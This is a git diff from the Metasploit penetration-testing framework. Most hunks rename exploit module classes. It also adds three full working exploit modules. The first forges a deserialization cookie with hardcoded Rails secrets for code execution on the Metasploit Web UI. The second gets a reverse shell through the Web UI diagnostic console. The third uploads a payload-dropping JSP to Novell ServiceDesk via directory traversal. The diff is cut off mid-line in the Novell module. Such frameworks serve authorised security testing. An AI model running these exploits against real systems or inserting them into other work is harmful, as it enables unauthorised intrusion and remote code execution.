a/modules/exploits/multi/http/manageengine_auth_upload.rb +++ b/modules/exploits/multi/http/manageengine_auth_upload.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/multi/http/manageengine_sd_uploader.rb b/modules/exploits/multi/http/manageengine_sd_uploader.rb index 5b8c04f0ce..f975cd624b 100644 --- a/modules/exploits/multi/http/manageengine_sd_uploader.rb +++ b/modules/exploits/multi/http/manageengine_sd_uploader.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/multi/http/manageengine_search_sqli.rb b/modules/exploits/multi/http/manageengine_search_sqli.rb index a16088a0d2..cfc0508c60 100644 --- a/modules/exploits/multi/http/manageengine_search_sqli.rb +++ b/modules/exploits/multi/http/manageengine_search_sqli.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'msf/core/exploit/file_dropper' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/multi/http/mantisbt_php_exec.rb b/modules/exploits/multi/http/mantisbt_php_exec.rb index 48523cc5ef..29c7e6c2f5 100644 --- a/modules/exploits/multi/http/mantisbt_php_exec.rb +++ b/modules/exploits/multi/http/mantisbt_php_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/multi/http/mediawiki_thumb.rb b/modules/exploits/multi/http/mediawiki_thumb.rb index be3bcfea1d..c42d61c2cf 100644 --- a/modules/exploits/multi/http/mediawiki_thumb.rb +++ b/modules/exploits/multi/http/mediawiki_thumb.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/multi/http/metasploit_static_secret_key_base.rb b/modules/exploits/multi/http/metasploit_static_secret_key_base.rb new file mode 100644 index 0000000000..a819f1c52d --- /dev/null +++ b/modules/exploits/multi/http/metasploit_static_secret_key_base.rb @@ -0,0 +1,312 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + #Helper Classes copy/paste from Rails4 + class MessageVerifier + + class InvalidSignature < StandardError; end + + def initialize(secret, options = {}) + @secret = secret + @digest = options[:digest] || 'SHA1' + @serializer = options[:serializer] || Marshal + end + + def generate(value) + data = ::Base64.strict_encode64(@serializer.dump(value)) + "#{data}--#{generate_digest(data)}" + end + + def generate_digest(data) + require 'openssl' unless defined?(OpenSSL) + OpenSSL::HMAC.hexdigest(OpenSSL::Digest.const_get(@digest).new, @secret, data) + end + + end + + class MessageEncryptor + + module NullSerializer #:nodoc: + + def self.load(value) + value + end + + def self.dump(value) + value + end + + end + + class InvalidMessage < StandardError; end + + OpenSSLCipherError = OpenSSL::Cipher::CipherError + + def initialize(secret, *signature_key_or_options) + options = signature_key_or_options.extract_options! + sign_secret = signature_key_or_options.first + @secret = secret + @sign_secret = sign_secret + @cipher = options[:cipher] || 'aes-256-cbc' + @verifier = MessageVerifier.new(@sign_secret || @secret, :serializer => NullSerializer) + # @serializer = options[:serializer] || Marshal + end + + def encrypt_and_sign(value) + @verifier.generate(_encrypt(value)) + end + + def _encrypt(value) + cipher = new_cipher + cipher.encrypt + cipher.key = @secret + # Rely on OpenSSL for the initialization vector + iv = cipher.random_iv + #encrypted_data = cipher.update(@serializer.dump(value)) + encrypted_data = cipher.update(value) + encrypted_data << cipher.final + [encrypted_data, iv].map {|v| ::Base64.strict_encode64(v)}.join("--") + end + + def new_cipher + OpenSSL::Cipher::Cipher.new(@cipher) + end + + end + + class KeyGenerator + + def initialize(secret, options = {}) + @secret = secret + @iterations = options[:iterations] || 2**16 + end + + def generate_key(salt, key_size=64) + OpenSSL::PKCS5.pbkdf2_hmac_sha1(@secret, salt, @iterations, key_size) + end + + end + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Metasploit Web UI Static secret_key_base Value', + 'Description' => %q{ + This module exploits the Web UI for Metasploit Community, Express and + Pro where one of a certain set of Weekly Releases have been applied. + These Weekly Releases introduced a static secret_key_base value. + Knowledge of the static secret_key_base value allows for + deserialization of a crafted Ruby Object, achieving code execution. + + This module is based on + exploits/multi/http/rails_secret_deserialization + }, + 'Author' => + [ + 'Justin Steven', # @justinsteven + 'joernchen of Phenoelit ' # author of rails_secret_deserialization + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['OVE', '20160904-0002'], + ['URL', 'https://community.rapid7.com/community/metasploit/blog/2016/09/15/important-security-fixes-in-metasploit-4120-2016091401'], + ['URL', 'https://github.com/justinsteven/advisories/blob/master/2016_metasploit_rce_static_key_deserialization.md'] + ], + 'DisclosureDate' => 'Sep 15 2016', + 'Platform' => 'ruby', + 'Arch' => ARCH_RUBY, + 'Privileged' => false, + 'Targets' => [ ['Automatic', {} ] ], + 'DefaultTarget' => 0, + 'DefaultOptions' => + { + 'SSL' => true + } + )) + + register_options( + [ + Opt::RPORT(3790), + OptString.new('TARGETURI', [ true, 'The path to the Metasploit Web UI', "/"]), + ], self.class) + end + + + # + # This stub ensures that the payload runs outside of the Rails process + # Otherwise, the session can be killed on timeout + # + def detached_payload_stub(code) + %Q^ + code = '#{ Rex::Text.encode_base64(code) }'.unpack("m0").first + if RUBY_PLATFORM =~ /mswin|mingw|win32/ + inp = IO.popen("ruby", "wb") rescue nil + if inp + inp.write(code) + inp.close + end + else + Kernel.fork do + eval(code) + end + end + {} + ^.strip.split(/\n/).map{|line| line.strip}.join("\n") + end + + def check_secret(data, digest, secret) + data = Rex::Text.uri_decode(data) + keygen = KeyGenerator.new(secret,{:iterations => 1000}) + sigkey = keygen.generate_key('signed encrypted cookie') + digest == OpenSSL::HMAC.hexdigest(OpenSSL::Digest.new('SHA1'), sigkey, data) + end + + def get_secret(data, digest) + secrets = [ + ['4.12.0_2016061501', 'd25e9ad8c9a1558a6864bc38b1c79eafef479ccee5ad0b4b2ff6a917cd8db4c6b80d1bf1ea960f8ef922ddfebd4525fcff253a18dd78a18275311d45770e5c9103fc7b639ecbd13e9c2dbba3da5c20ef2b5cbea0308acfc29239a135724ddc902ccc6a378b696600a1661ed92666ead9cdbf1b684486f5c5e6b9b13226982dd7'], + ['4.12.0_2016062101', '99988ff528cc0e9aa0cc52dc97fe1dd1fcbedb6df6ca71f6f5553994e6294d213fcf533a115da859ca16e9190c53ddd5962ddd171c2e31a168fb8a8f3ef000f1a64b59a4ea3c5ec9961a0db0945cae90a70fd64eb7fb500662fc9e7569c90b20998adeca450362e5ca80d0045b6ae1d54caf4b8e6d89cc4ebef3fd4928625bfc'], + ['4.12.0_2016062101', '446db15aeb1b4394575e093e43fae0fc8c4e81d314696ac42599e53a70a5ebe9c234e6fa15540e1fc3ae4e99ad64531ab10c5a4deca10c20ba6ce2ae77f70e7975918fbaaea56ed701213341be929091a570404774fd65a0c68b2e63f456a0140ac919c6ec291a766058f063beeb50cedd666b178bce5a9b7e2f3984e37e8fde'], + ['4.12.0_2016081001', '61c64764ca3e28772bddd3b4a666d5a5611a50ceb07e3bd5847926b0423987218cfc81468c84a7737c23c27562cb9bf40bc1519db110bf669987c7bb7fd4e1850f601c2bf170f4b75afabf86d40c428e4d103b2fe6952835521f40b23dbd9c3cac55b543aef2fb222441b3ae29c3abbd59433504198753df0e70dd3927f7105a'], + ['4.12.0_2016081201', '23bbd1fdebdc5a27ed2cb2eea6779fdd6b7a1fa5373f5eeb27450765f22d3f744ad76bd7fbf59ed687a1aba481204045259b70b264f4731d124828779c99d47554c0133a537652eba268b231c900727b6602d8e5c6a73fe230a8e286e975f1765c574431171bc2af0c0890988cc11cb4e93d363c5edc15d5a15ec568168daf32'], + ['4.12.0_2016083001', '18edd3c0c08da473b0c94f114de417b3cd41dace1dacd67616b864cbe60b6628e8a030e1981cef3eb4b57b0498ad6fb22c24369edc852c5335e27670220ea38f1eecf5c7bb3217472c8df3213bc314af30be33cd6f3944ba524c16cafb19489a95d969ada268df37761c0a2b68c0eeafb1355a58a9a6a89c9296bfd606a79615'], + ['unreleased build', 'b4bc1fa288894518088bf70c825e5ce6d5b16bbf20020018272383e09e5677757c6f1cc12eb39421eaf57f81822a434af10971b5762ae64cb1119054078b7201fa6c5e7aacdc00d5837a50b20a049bd502fcf7ed86b360d7c71942b983a547dde26a170bec3f11f42bee6a494dc2c11ae7dbd6d17927349cdcb81f0e9f17d22c'] + ] + for secret in secrets + return secret if check_secret(data, digest, secret[1]) + end + [nil, nil] + end + + def build_signed_cookie(secret) + keygen = KeyGenerator.new(secret,{:iterations => 1000}) + enckey = keygen.generate_key('encrypted cookie') + sigkey = keygen.generate_key('signed encrypted cookie') + crypter = MessageEncryptor.new(enckey, sigkey) + + # Embed the payload within detached stub + code = + "eval('" + + Rex::Text.encode_base64(detached_payload_stub(payload.encoded)) + + "'.unpack('m0').first)" + + # Embed code within Rails 4 popchain + cookie = "\x04\b" + + "o:@ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy\b" + + ":\x0E@instanceo" + + ":\bERB\x07" + + ":\t@src"+ Marshal.dump(code)[2..-1] + + ":\x0c@lineno"+ "i\x00" + + ":\f@method:\vresult:" + + "\x10@deprecatoro:\x1FActiveSupport::Deprecation\x00" + + crypter.encrypt_and_sign(cookie) + end + + def check + cookie_name = '_ui_session' + + vprint_status("Checking for cookie #{cookie_name}") + res = send_request_cgi({ + 'uri' => datastore['TARGETURI'] || "/", + 'method' => 'GET', + }, 25) + + unless res + return Exploit::CheckCode::Unknown # Target didn't respond + end + + if res.get_cookies.empty? + return Exploit::CheckCode::Unknown # Target didn't send us any cookies. We can't continue. + end + + match = res.get_cookies.match(/([_A-Za-z0-9]+)=([A-Za-z0-9%]*)--([0-9A-Fa-f]+);/) + + unless match + return Exploit::CheckCode::Unknown # Target didn't send us a session cookie. We can't continue. + end + + if match[1] == cookie_name + vprint_status("Found cookie") + else + vprint_status("Adjusting cookie name to #{match[1]}") + cookie_name = match[1] + end + + vprint_status("Searching for proper secret") + + (version, secret) = get_secret(match[2], match[3]) + + if secret + vprint_status("Found secret, detected version #{version}") + Exploit::CheckCode::Appears + else + Exploit::CheckCode::Safe + end + end + + # + # Send the actual request + # + def exploit + cookie_name = '_ui_session' + + print_status("Checking for cookie #{cookie_name}") + + res = send_request_cgi({ + 'uri' => datastore['TARGETURI'] || "/", + 'method' => 'GET', + }, 25) + + unless res + fail_with(Failure::Unreachable, "Target didn't respond") + end + + if res.get_cookies.empty? + fail_with(Failure::UnexpectedReply, "Target didn't send us any cookies. We can't continue.") + end + + match = res.get_cookies.match(/([_A-Za-z0-9]+)=([A-Za-z0-9%]*)--([0-9A-Fa-f]+);/) + + unless match + fail_with(Failure::UnexpectedReply, "Target didn't send us a session cookie. We can't continue.") + end + + if match[1] == cookie_name + vprint_status("Found cookie") + else + print_status("Adjusting cookie name to #{match[1]}") + cookie_name = match[1] + end + + print_status("Searching for proper secret") + + (version, secret) = get_secret(match[2], match[3]) + + unless secret + fail_with(Failure::NotVulnerable, "SECRET not found, target not vulnerable?") + end + + print_status("Found secret, detected version #{version}") + + cookie = build_signed_cookie(secret) + + print_status "Sending cookie #{cookie_name}" + res = send_request_cgi({ + 'uri' => datastore['TARGETURI'] || "/", + 'method' => 'GET', + 'headers' => {'Cookie' => cookie_name+"="+ cookie}, + }, 25) + + handler + end + +end diff --git a/modules/exploits/multi/http/metasploit_webui_console_command_execution.rb b/modules/exploits/multi/http/metasploit_webui_console_command_execution.rb new file mode 100644 index 0000000000..c249ac5a42 --- /dev/null +++ b/modules/exploits/multi/http/metasploit_webui_console_command_execution.rb @@ -0,0 +1,285 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Metasploit Web UI Diagnostic Console Command Execution', + 'Description' => %q{ + This module exploits the "diagnostic console" feature in the Metasploit + Web UI to obtain a reverse shell. + + The diagnostic console is able to be enabled or disabled by an + administrator on Metasploit Pro and by an authenticated user on + Metasploit Express and Metasploit Community. When enabled, the + diagnostic console provides access to msfconsole via the web interface. + An authenticated user can then use the console to execute shell + commands. + + NOTE: Valid credentials are required for this module. + + Tested against: + + Metasploit Community 4.1.0, + Metasploit Community 4.8.2, + Metasploit Community 4.12.0 + }, + 'Author' => [ 'Justin Steven' ], # @justinsteven + 'License' => MSF_LICENSE, + 'Privileged' => true, + 'Arch' => ARCH_CMD, + 'Payload' => { 'PayloadType' => 'cmd' }, + 'Targets' => + [ + [ 'Unix', + { + 'Platform' => [ 'unix' ] + } + ], + [ 'Windows', + { + 'Platform' => [ 'windows' ] + } + ] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Aug 23 2016' + )) + + register_options( + [ + OptBool.new('SSL', [ true, 'Use SSL', true ]), + OptPort.new('RPORT', [ true, '', 3790 ]), + OptString.new('TARGETURI', [ true, 'Metasploit Web UI base path', '/' ]), + OptString.new('USERNAME', [ true, 'The user to authenticate as' ]), + OptString.new('PASSWORD', [ true, 'The password to authenticate with' ]) + ], self.class) + end + + def do_login() + + print_status('Obtaining cookies and authenticity_token') + + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'login'), + }) + + unless res + fail_with(Failure::NotFound, 'Failed to retrieve login page') + end + + unless res.headers.include?('Set-Cookie') && res.body =~ /name="authenticity_token"\W+.*\bvalue="([^"]*)"/ + fail_with(Failure::UnexpectedReply, "Couldn't find cookies or authenticity_token. Is TARGETURI set correctly?") + end + + authenticity_token = $1 + session = res.get_cookies + + print_status('Logging in') + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, 'user_sessions'), + 'cookie' => session, + 'vars_post' => + { + 'utf8' => '\xE2\x9C\x93', + 'authenticity_token' => authenticity_token, + 'user_session[username]' => datastore['USERNAME'], + 'user_session[password]' => datastore['PASSWORD'], + 'commit' => 'Sign in' + } + }) + + unless res + fail_with(Failure::NotFound, 'Failed to log in') + end + + return res.get_cookies, authenticity_token + + end + + def get_console_status(session) + + print_status('Getting diagnostic console status and profile_id') + + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, 'settings'), + 'cookie' => session, + }) + + unless res + fail_with(Failure::NotFound, 'Failed to get diagnostic console status or profile_id') + end + + unless res.body =~ /\bid="profile_id"\W+.*\bvalue="([^"]*)"/ + fail_with(Failure::UnexpectedReply, 'Failed to get profile_id') + end + + profile_id = $1 + + if res.body =~ / 'POST', + 'uri' => normalize_uri(target_uri.path, 'settings', 'update_profile'), + 'cookie' => session, + 'vars_post' => + { + 'utf8' => '\xE2\x9C\x93', + '_method' => 'patch', + 'authenticity_token' => authenticity_token, + 'profile_id' => profile_id, + 'allow_console_access' => new_console_status, + 'commit' => 'Update Settings' + } + }) + + unless res + fail_with(Failure::NotFound, 'Failed to set status of diagnostic console') + end + + end + + def get_container_id(session, container_label) + + container_label_singular = container_label.gsub(/s$/, "") + + print_status("Getting ID of a valid #{container_label_singular}") + + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, container_label), + 'cookie' => session, + }) + + unless res && res.body =~ /\bid="#{container_label_singular}_([^"]*)"/ + print_warning("Failed to get a valid #{container_label_singular} ID") + return + end + + container_id = $1 + + vprint_good("Got: #{container_id}") + + container_id + + end + + def get_console(session, container_label, container_id) + + print_status('Creating a console, getting its ID and authenticity_token') + + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, container_label, container_id, 'console'), + 'cookie' => session, + }) + + unless res && res.headers['location'] + fail_with(Failure::UnexpectedReply, 'Failed to get a console ID') + end + + console_id = res.headers['location'].split('/')[-1] + + vprint_good("Got console ID: #{console_id}") + + res = send_request_cgi({ + 'method' => 'GET', + 'uri' => normalize_uri(target_uri.path, container_label, container_id, 'consoles', console_id), + 'cookie' => session, + }) + + unless res && res.body =~ /console_init\('console', 'console', '([^']*)'/ + fail_with(Failure::UnexpectedReply, 'Failed to get console authenticity_token') + end + + console_authenticity_token = $1 + + return console_id, console_authenticity_token + + end + + def run_command(session, container_label, console_authenticity_token, container_id, console_id, command) + + print_status('Running payload') + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(target_uri.path, container_label, container_id, 'consoles', console_id), + 'cookie' => session, + 'vars_post' => + { + 'read' => 'yes', + 'cmd' => command, + 'authenticity_token' => console_authenticity_token, + 'last_event' => '0', + '_' => '' + } + }) + + unless res + fail_with(Failure::NotFound, 'Failed to run command') + end + + end + + def exploit + + session, authenticity_token = do_login() + + original_console_status, profile_id = get_console_status(session) + + unless original_console_status + set_console_status(session, authenticity_token, profile_id, true) + end + + if container_id = get_container_id(session, "workspaces") + # target calls them "workspaces" + container_label = "workspaces" + elsif container_id = get_container_id(session, "projects") + # target calls them "projects" + container_label = "projects" + else + fail_with(Failure::Unknown, 'Failed to get workspace ID or project ID. Cannot continue.') + end + + console_id, console_authenticity_token = get_console(session, container_label,container_id) + + run_command(session, container_label, console_authenticity_token, + container_id, console_id, payload.encoded) + + unless original_console_status + set_console_status(session, authenticity_token, profile_id, false) + end + + handler + + end + +end diff --git a/modules/exploits/multi/http/mma_backdoor_upload.rb b/modules/exploits/multi/http/mma_backdoor_upload.rb index 55a33c3fe7..e79e6b15eb 100644 --- a/modules/exploits/multi/http/mma_backdoor_upload.rb +++ b/modules/exploits/multi/http/mma_backdoor_upload.rb @@ -6,7 +6,7 @@ require 'msf/core' require 'nokogiri' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/multi/http/mobilecartly_upload_exec.rb b/modules/exploits/multi/http/mobilecartly_upload_exec.rb index d58161de13..5b37159161 100644 --- a/modules/exploits/multi/http/mobilecartly_upload_exec.rb +++ b/modules/exploits/multi/http/mobilecartly_upload_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/multi/http/moodle_cmd_exec.rb b/modules/exploits/multi/http/moodle_cmd_exec.rb index fa019366ef..f39530eb3a 100644 --- a/modules/exploits/multi/http/moodle_cmd_exec.rb +++ b/modules/exploits/multi/http/moodle_cmd_exec.rb @@ -6,10 +6,9 @@ require 'msf/core' require 'rexml/document' -class Metasploit4 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking - include Msf::Exploit::Remote::Tcp include Msf::Exploit::Remote::HttpClient def initialize(info={}) @@ -101,17 +100,10 @@ class Metasploit4 < Msf::Exploit::Remote 'cookie' => sess }) - tinymce.body.each_line do |line| - next if line !~ /name="sesskey"/ - sesskey = line[0..line.index('>')] - end - - if sesskey == '' + sesskey = tinymce.get_hidden_inputs[1]['sesskey'] + unless sesskey fail_with(Failure::UnexpectedReply, "Unable to get proper session key") end - - sesskey = REXML::Document.new sesskey - sesskey = sesskey.root.attributes["value"] else sesskey = datastore['SESSKEY'] end diff --git a/modules/exploits/multi/http/movabletype_upgrade_exec.rb b/modules/exploits/multi/http/movabletype_upgrade_exec.rb index 5053599cb9..ec129c1f43 100644 --- a/modules/exploits/multi/http/movabletype_upgrade_exec.rb +++ b/modules/exploits/multi/http/movabletype_upgrade_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit4 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote include Exploit::Remote::HttpClient diff --git a/modules/exploits/multi/http/mutiny_subnetmask_exec.rb b/modules/exploits/multi/http/mutiny_subnetmask_exec.rb index 485fc65d39..8dee91cb69 100644 --- a/modules/exploits/multi/http/mutiny_subnetmask_exec.rb +++ b/modules/exploits/multi/http/mutiny_subnetmask_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/multi/http/nas4free_php_exec.rb b/modules/exploits/multi/http/nas4free_php_exec.rb index 2de2f53e56..95e308519c 100644 --- a/modules/exploits/multi/http/nas4free_php_exec.rb +++ b/modules/exploits/multi/http/nas4free_php_exec.rb @@ -7,7 +7,7 @@ require 'msf/core' require 'rex' require 'rexml/document' -class Metasploit4 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/multi/http/netwin_surgeftp_exec.rb b/modules/exploits/multi/http/netwin_surgeftp_exec.rb index 5d52ed78f7..e3342d1af1 100644 --- a/modules/exploits/multi/http/netwin_surgeftp_exec.rb +++ b/modules/exploits/multi/http/netwin_surgeftp_exec.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::HttpClient @@ -41,8 +41,8 @@ class Metasploit3 < Msf::Exploit::Remote register_options( [ Opt::RPORT(7021), - OptString.new('USERNAME', [ true, 'The username with admin role to authenticate as', 'admin' ]), - OptString.new('PASSWORD', [ true, 'The password for the specified username', 'password' ]) + OptString.new('HttpUsername', [ true, 'The username with admin role to authenticate as', 'admin' ]), + OptString.new('HttpPassword', [ true, 'The password for the specified username', 'password' ]) ], self.class) end @@ -64,7 +64,7 @@ class Metasploit3 < Msf::Exploit::Remote { 'uri' => '/cgi/surgeftpmgr.cgi', 'method' => 'POST', - 'authorization' => basic_auth(datastore['USERNAME'], datastore['PASSWORD']), + 'authorization' => basic_auth(datastore['HttpUsername'], datastore['HttpPassword']), 'vars_post' => { 'global_smtp' => "", diff --git a/modules/exploits/multi/http/nibbleblog_file_upload.rb b/modules/exploits/multi/http/nibbleblog_file_upload.rb index a0c53a5fe2..3173aaa9f6 100644 --- a/modules/exploits/multi/http/nibbleblog_file_upload.rb +++ b/modules/exploits/multi/http/nibbleblog_file_upload.rb @@ -5,7 +5,7 @@ require 'msf/core' -class Metasploit3 < Msf::Exploit::Remote +class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient diff --git a/modules/exploits/multi/http/novell_servicedesk_rce.rb b/modules/exploits/multi/http/novell_servicedesk_rce.rb new file mode 100644 index 0000000000..e25261e582 --- /dev/null +++ b/modules/exploits/multi/http/novell_servicedesk_rce.rb @@ -0,0 +1,384 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class MetasploitModule < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::FileDropper + include Msf::Exploit::EXE + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Novell ServiceDesk Authenticated File Upload', + 'Description' => %q{ + This module exploits an authenticated arbitrary file upload via directory traversal + to execute code on the target. It has been tested on versions 6.5 and 7.1.0, in + Windows and Linux installations of Novell ServiceDesk, as well as the Virtual + Appliance provided by Novell. + }, + 'Author' => + [ + 'Pedro Ribeiro ' # Vulnerability discovery and Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', '2016-1593' ], + [ 'URL', 'https://raw.githubusercontent.com/pedrib/PoC/master/advisories/novell-service-desk-7.1.0.txt' ], + [ 'URL', 'http://seclists.org/bugtraq/2016/Apr/64' ] + ], + 'Platform' => %w{ linux win }, + 'Arch' => ARCH_X86, + 'DefaultOptions' => { 'WfsDelay' => 15 }, + 'Targets' => + [ + [ 'Automatic', {} ], + [ 'Novell ServiceDesk / Linux', + { + 'Platform' => 'linux', + 'Arch' => ARCH_X86 + } + ], + [ 'Novell ServiceDesk / Windows', + { + 'Platform' => 'win', + 'Arch' => ARCH_X86 + } + ], + ], + 'Privileged' => false, # Privileged on Windows but not on (most) Linux targets + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Mar 30 2016' + )) + + register_options( + [ + OptPort.new('RPORT', + [true, 'The target port', 80]), + OptString.new('USERNAME', + [true, 'The username to login as', 'admin']), + OptString.new('PASSWORD', + [true, 'Password for the specified username', 'admin']), + OptString.new('TRAVERSAL_PATH', + [false, 'Traversal path to tomcat/webapps/LiveTime/']) + ], self.class) + end + + + def get_version + res = send_request_cgi({ + 'uri' => normalize_uri('LiveTime','WebObjects','LiveTime.woa'), + 'method' => 'GET', + 'headers' => { + 'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)', + } + }) + + if res && res.code == 200 && res.body.to_s =~ /\

      \Version \#([0-9\.]+)\<\/p\>/ + return $1.to_f + else + return 999 + end + end + + + def check + version = get_version + if version <= 7.1 && version >= 6.5 + return Exploit::CheckCode::Appears + elsif version > 7.1 + return Exploit::CheckCode::Safe + else + return Exploit::CheckCode::Unknown + end + end + + + def pick_target + return target if target.name != 'Automatic' + + print_status("#{peer} - Determining target") + + os_finder_payload = %Q{<%out.println(System.getProperty("os.name"));%>} + + traversal_paths = [] + if datastore['TRAVERSAL_PATH'] + traversal_paths << datastore['TRAVERSAL_PATH'] # add user specified or default Virtual Appliance path + end + + # add Virtual Appliance path plus the traversal in a Windows or Linux self install + traversal_paths.concat(['../../srv/tomcat6/webapps/LiveTime/','../../Server/webapps/LiveTime/']) + + # test each path to determine OS (and correct path) + traversal_paths.each do |traversal_path| + jsp_name = upload_jsp(traversal_path, os_finder_payload) + + res = send_request_cgi({ + 'uri' => normalize_uri('LiveTime', jsp_name), + 'method' => 'GET', + 'headers' => { + 'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)', + }, + 'cookie' => @cookies + }) + + if res && res.code == 200 + if res.body.to_s =~ /Windows/ + @my_target = targets[2] + else + # Linux here + @my_target = targets[1] + end + if traversal_path.include? '/srv/tomcat6/webapps/' + register_files_for_cleanup('/srv/tomcat6/webapps/LiveTime/' + jsp_name) + else + register_files_for_cleanup('../webapps/LiveTime/' + jsp_name) + end + return traversal_path + end + end + + return nil + end + + + def upload_jsp(traversal_path, jsp) + jsp_name = Rex::Text.rand_text_alpha(6+rand(8)) + ".jsp" + + post_data = Rex::MIME::Message.new + post_data.add_part(jsp, "application/octet-stream", 'binary', "form-data; name=\"#{@upload_form}\"; filename=\"#{traversal_path}#{jsp_name}\"") + data = post_data.to_s + + res = send_request_cgi({ + 'method' => 'POST', + 'uri' => normalize_uri(@upload_url), + 'headers' => { + 'User-Agent' => 'Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)', + }, + 'cookie' => @cookies, + 'data' => data, + 'ctype' => "multipart/form-data; boundary=#{post_data.bound}" + }) + + if not res && res.code == 200 + fail_with(Failure::Unknown, "#{peer} - Failed to upload payload...") + else + return jsp_name + end + end + + + def create_jsp + opts = {:arch => @my_target.arch, :platform => @my_target.platform} + payload = exploit_regenerate_payload(@my_target.platform, @my_target.arch) + exe = generate_payload_exe(opts) + base64_exe = Rex::Text.encode_base64(exe) + + native_payload_name = rand_text_alpha(rand(6)+3) + ext = (@my_target['Platform'] == 'win') ? '.exe' : '.bin' + + var_raw = Rex::Text.rand_text_alpha(rand(8) + 3) + var_ostream = Rex::Text.rand_text_alpha(rand(8) + 3) + var_buf = Rex::Text.rand_text_alpha(rand(8) + 3) + var_decoder = Rex::Text.rand_text_alpha(rand(8) + 3) + var_tmp = Rex::Text.rand_text_alpha(rand(8) + 3) + var_path = Rex::Text.rand_text_alpha(rand(8) + 3) + var_proc2 = Rex::Text.rand_text_alpha(rand(8) + 3) + + if @my_target['Platform'] == 'linux' + var_proc1 = Rex::Text.rand_text_alpha(rand(8) + 3) + chmod = %Q| + Process #{var_proc1} = Runtime.getRuntime().exec("chmod 777 " + #{var_path}); + Thread.sleep(200); + | + + var_proc3 = Rex::Text.rand_text_alpha(rand(8) + 3) + cleanup = %Q| + Thread.sleep(200); + Process #{var_proc3} = Runtime.getRuntime().exec("rm " + #{var_path}); + | + else + chmod = '' + cleanup = '' + end + + jsp = %Q| + <%@page import="java.io.*"%> + <%@page import="sun.misc.BASE64Decoder"%> + <% + try { + String #{var_buf} = "#{base64_exe}"; + BASE64Decoder #{var_decoder} = new BASE64Decoder(); + byte[] #{var_raw} = #{var_decoder}.decodeBuffer(#{var_buf}.toString()); + + File #{var_tmp} = File.createTempFile("#{native_payload_name}", "#{ext}"); + String #{var_path} = #{var_tmp}.getAbsolutePath(); + + BufferedOutputStream #{var_ostream} = + new BufferedOutputStream(new FileOutputStream(#{var_path})); + #{var_ostream}.write(#{var_raw}); + #{var_ostream}.close(); + #{chmod} + Process #{var_proc2} = Runtime.getRuntime().exec(#{var_path}); + #{cleanup} + } catch (Exception e) { + } + %> + | + + jsp = jsp.gsub(/\n/, '') + jsp = jsp.gsub(/\t/, '') + jsp = 